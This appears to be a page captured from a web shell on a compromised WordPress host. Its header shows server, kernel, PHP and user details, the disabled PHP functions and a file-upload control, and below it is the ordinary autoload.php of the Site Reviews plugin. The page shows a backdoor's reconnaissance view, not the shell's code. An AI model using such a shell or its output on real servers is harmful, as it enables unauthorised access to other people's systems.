HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/testingff/public_html/fdfctr/wp-content/plugins/site-reviews/autoload.php
<?php

defined('ABSPATH') || exit;

/**
 * Provides a partial, native PHP implementation for the Ctype extension.
 * @see https://github.com/symfony/polyfill-ctype
 */
require_once __DIR__.'/vendors/symfony/polyfill-ctype/bootstrap.php';

/**
 * Provides a partial, native PHP implementation for the Mbstring extension.
 * @see https://github.com/symfony/polyfill-mbstring
 */
require_once __DIR__.'/vendors/symfony/polyfill-mbstring/bootstrap.php';

/**
 * Provides features added to PHP 8.0 core.
 * @see https://github.com/symfony/polyfill-php80
 */
require_once __DIR__.'/vendors/symfony/polyfill-php80/bootstrap.php';

/**
 * Load the Action Scheduler library.
 * @see https://actionscheduler.org
 */
require_once __DIR__.'/vendors/woocommerce/action-scheduler/action-scheduler.php';

spl_autoload_register(function ($className) {
    $classMap = [
        'Plugin_Upgrader' => ABSPATH.'wp-admin/includes/class-wp-upgrader.php',
        'Plugin_Upgrader_Skin' => ABSPATH.'wp-admin/includes/class-wp-upgrader.php',
        'WP_Debug_Data' => ABSPATH.'wp-admin/includes/class-wp-debug-data.php',
        'WP_List_Table' => ABSPATH.'wp-admin/includes/class-wp-list-table.php',
        'WP_Posts_List_Table' => ABSPATH.'wp-admin/includes/class-wp-posts-list-table.php',
    ];
    if (array_key_exists($className, $classMap) && file_exists($classMap[$className])) {
        require_once $classMap[$className];
    }
    $namespaces = [
        'GeminiLabs\\SiteReviews\\' => __DIR__.'/plugin/',
        'GeminiLabs\\SiteReviews\\Tests\\' => __DIR__.'/tests/',
        'GeminiLabs\\League\\Csv\\' => __DIR__.'/vendors/thephpleague/csv/',
        'GeminiLabs\\Sepia\\PoParser\\' => __DIR__.'/vendors/sepia/po-parser/',
        'GeminiLabs\\Sinergi\\BrowserDetector\\' => __DIR__.'/vendors/sinergi/browser-detector/',
        'GeminiLabs\\Spatie\\Color\\' => __DIR__.'/vendors/spatie/color/',
        'GeminiLabs\\Symfony\\Polyfill\\Ctype\\' => __DIR__.'/vendors/symfony/polyfill-ctype/',
        'GeminiLabs\\Symfony\\Polyfill\\Mbstring\\' => __DIR__.'/vendors/symfony/polyfill-mbstring/',
        'GeminiLabs\\Symfony\\Polyfill\\Php80\\' => __DIR__.'/vendors/symfony/polyfill-php80/',
        'GeminiLabs\\Vectorface\\Whip\\' => __DIR__.'/vendors/vectorface/whip/',
    ];
    foreach ($namespaces as $prefix => $baseDir) {
        $len = strlen($prefix);
        if (0 !== strncmp($prefix, $className, $len)) {
            continue;
        }
        $file = $baseDir.str_replace('\\', '/', substr($className, $len)).'.php';
        if (!file_exists($file)) {
            continue;
        }
        require $file;
        break;
    }
});